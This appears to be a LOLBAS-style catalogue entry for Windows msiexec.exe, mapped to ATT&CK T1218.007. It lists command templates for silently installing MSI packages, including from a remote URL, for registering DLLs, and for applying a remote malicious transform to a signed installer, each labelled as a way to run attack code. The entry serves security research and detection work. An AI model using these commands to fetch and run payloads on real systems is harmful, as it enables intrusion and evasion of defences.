.. /Msiexec.exe
Star

Execute (MSI, Remote, DLL, MST)

Used by Windows to execute msi files

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. Installs the target .MSI file silently.

    msiexec /quiet /i {PATH:.msi}
    Use case

    Execute custom made msi file with attack code

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.007
    Tags
    Execute: MSI

  2. Installs the target remote & renamed .MSI file silently.

    msiexec /q /i {REMOTEURL}
    Use case

    Execute custom made msi file with attack code from remote server

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.007
    Tags
    Execute: MSI
    Execute: Remote

  3. Calls DllRegisterServer to register the target DLL.

    msiexec /y {PATH_ABSOLUTE:.dll}
    Use case

    Execute dll files

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.007
    Tags
    Execute: DLL
    Execute: Remote

  4. Calls DllUnregisterServer to un-register the target DLL.

    msiexec /z {PATH_ABSOLUTE:.dll}
    Use case

    Execute dll files

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.007
    Tags
    Execute: DLL
    Execute: Remote

  5. Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

    msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb
    Use case

    Install trusted and signed msi file, with additional attack code as transformation file, from a remote server

    Privileges required
    User
    Operating systems
    Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.007
    Tags
    Execute: MSI
    Execute: MST
    Execute: Remote